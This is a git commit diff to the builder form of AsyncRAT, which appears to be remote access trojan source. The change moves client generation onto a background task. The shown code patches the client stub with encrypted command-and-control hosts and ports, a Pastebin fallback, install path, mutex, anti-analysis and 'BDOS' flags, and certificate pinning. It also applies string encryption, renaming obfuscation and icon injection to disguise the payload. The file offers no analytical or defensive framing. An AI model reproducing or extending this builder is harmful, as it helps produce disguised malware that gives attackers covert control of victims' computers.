Add async await

This commit is contained in:
NYAN CAT 2019-06-15 18:24:45 +03:00
parent fd30af56f7
commit 32da8715c4

View File

@ -12,6 +12,7 @@ using System.IO;
using System.Linq; using System.Linq;
using dnlib.DotNet.Emit; using dnlib.DotNet.Emit;
using Server.RenamingObfuscation; using Server.RenamingObfuscation;
using System.Threading.Tasks;
namespace Server.Forms namespace Server.Forms
{ {
@ -170,7 +171,7 @@ namespace Server.Forms
catch { } catch { }
} }
private void BtnBuild_Click(object sender, EventArgs e) private async void BtnBuild_Click(object sender, EventArgs e)
{ {
if (listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return; if (listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return;
@ -195,22 +196,26 @@ namespace Server.Forms
saveFileDialog1.FileName = "Client"; saveFileDialog1.FileName = "Client";
if (saveFileDialog1.ShowDialog() == DialogResult.OK) if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{ {
WriteSettings(asmDef); btnBuild.Enabled = false;
if (chkObfu.Checked) await Task.Run(() =>
{ {
EncryptString.DoEncrypt(asmDef); WriteSettings(asmDef);
Renaming.DoRenaming(asmDef); if (chkObfu.Checked)
} {
asmDef.Write(saveFileDialog1.FileName); EncryptString.DoEncrypt(asmDef);
asmDef.Dispose(); Renaming.DoRenaming(asmDef);
if (btnAssembly.Checked) }
{ asmDef.Write(saveFileDialog1.FileName);
WriteAssembly(saveFileDialog1.FileName); asmDef.Dispose();
} if (btnAssembly.Checked)
if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text)) {
{ WriteAssembly(saveFileDialog1.FileName);
IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text); }
} if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text))
{
IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text);
}
});
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
SaveSettings(); SaveSettings();
this.Close(); this.Close();
@ -220,6 +225,7 @@ namespace Server.Forms
catch (Exception ex) catch (Exception ex)
{ {
MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
btnBuild.Enabled = true;
} }
} }
@ -313,101 +319,108 @@ namespace Server.Forms
private void WriteSettings(ModuleDefMD asmDef) private void WriteSettings(ModuleDefMD asmDef)
{ {
var key = Methods.GetRandomString(32); try
var aes = new Aes256(key);
var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert));
byte[] signature;
using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey)
{ {
var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); var key = Methods.GetRandomString(32);
signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); var aes = new Aes256(key);
} var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert));
byte[] signature;
using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey)
{
var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
}
foreach (TypeDef type in asmDef.Types) foreach (TypeDef type in asmDef.Types)
{ {
if (type.Name == "Settings") if (type.Name == "Settings")
foreach (MethodDef method in type.Methods) foreach (MethodDef method in type.Methods)
{
if (method.Body == null) continue;
for (int i = 0; i < method.Body.Instructions.Count(); i++)
{ {
if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr) if (method.Body == null) continue;
for (int i = 0; i < method.Body.Instructions.Count(); i++)
{ {
if (method.Body.Instructions[i].Operand.ToString() == "%Ports%") if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)
{ {
if (chkPastebin.Enabled && chkPastebin.Checked) if (method.Body.Instructions[i].Operand.ToString() == "%Ports%")
{ {
method.Body.Instructions[i].Operand = aes.Encrypt("null"); if (chkPastebin.Enabled && chkPastebin.Checked)
}
else
{
List<string> LString = new List<string>();
foreach (string port in listBoxPort.Items)
{ {
LString.Add(port); method.Body.Instructions[i].Operand = aes.Encrypt("null");
} }
method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString)); else
}
}
if (method.Body.Instructions[i].Operand.ToString() == "%Hosts%")
{
if (chkPastebin.Enabled && chkPastebin.Checked)
{
method.Body.Instructions[i].Operand = aes.Encrypt("null");
}
else
{
List<string> LString = new List<string>();
foreach (string ip in listBoxIP.Items)
{ {
LString.Add(ip); List<string> LString = new List<string>();
foreach (string port in listBoxPort.Items)
{
LString.Add(port);
}
method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString));
} }
method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString));
} }
if (method.Body.Instructions[i].Operand.ToString() == "%Hosts%")
{
if (chkPastebin.Enabled && chkPastebin.Checked)
{
method.Body.Instructions[i].Operand = aes.Encrypt("null");
}
else
{
List<string> LString = new List<string>();
foreach (string ip in listBoxIP.Items)
{
LString.Add(ip);
}
method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString));
}
}
if (method.Body.Instructions[i].Operand.ToString() == "%Install%")
method.Body.Instructions[i].Operand = aes.Encrypt(checkBox1.Checked.ToString().ToLower());
if (method.Body.Instructions[i].Operand.ToString() == "%Folder%")
method.Body.Instructions[i].Operand = comboBoxFolder.Text;
if (method.Body.Instructions[i].Operand.ToString() == "%File%")
method.Body.Instructions[i].Operand = textFilename.Text;
if (method.Body.Instructions[i].Operand.ToString() == "%Version%")
method.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version.Replace("AsyncRAT ", ""));
if (method.Body.Instructions[i].Operand.ToString() == "%Key%")
method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));
if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
if (method.Body.Instructions[i].Operand.ToString() == "%Anti%")
method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower());
if (method.Body.Instructions[i].Operand.ToString() == "%Certificate%")
method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
if (method.Body.Instructions[i].Operand.ToString() == "%Serversignature%")
method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
if (method.Body.Instructions[i].Operand.ToString() == "%BDOS%")
method.Body.Instructions[i].Operand = aes.Encrypt(chkBdos.Checked.ToString().ToLower());
if (method.Body.Instructions[i].Operand.ToString() == "%Pastebin%")
if (chkPastebin.Checked)
method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text);
else
method.Body.Instructions[i].Operand = aes.Encrypt("null");
} }
if (method.Body.Instructions[i].Operand.ToString() == "%Install%")
method.Body.Instructions[i].Operand = aes.Encrypt(checkBox1.Checked.ToString().ToLower());
if (method.Body.Instructions[i].Operand.ToString() == "%Folder%")
method.Body.Instructions[i].Operand = comboBoxFolder.Text;
if (method.Body.Instructions[i].Operand.ToString() == "%File%")
method.Body.Instructions[i].Operand = textFilename.Text;
if (method.Body.Instructions[i].Operand.ToString() == "%Version%")
method.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version.Replace("AsyncRAT ", ""));
if (method.Body.Instructions[i].Operand.ToString() == "%Key%")
method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));
if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
if (method.Body.Instructions[i].Operand.ToString() == "%Anti%")
method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower());
if (method.Body.Instructions[i].Operand.ToString() == "%Certificate%")
method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
if (method.Body.Instructions[i].Operand.ToString() == "%Serversignature%")
method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
if (method.Body.Instructions[i].Operand.ToString() == "%BDOS%")
method.Body.Instructions[i].Operand = aes.Encrypt(chkBdos.Checked.ToString().ToLower());
if (method.Body.Instructions[i].Operand.ToString() == "%Pastebin%")
if (chkPastebin.Checked)
method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text);
else
method.Body.Instructions[i].Operand = aes.Encrypt("null");
} }
} }
} }
}
catch (Exception ex)
{
throw new ArgumentException("WriteSettings: " + ex.Message);
} }
} }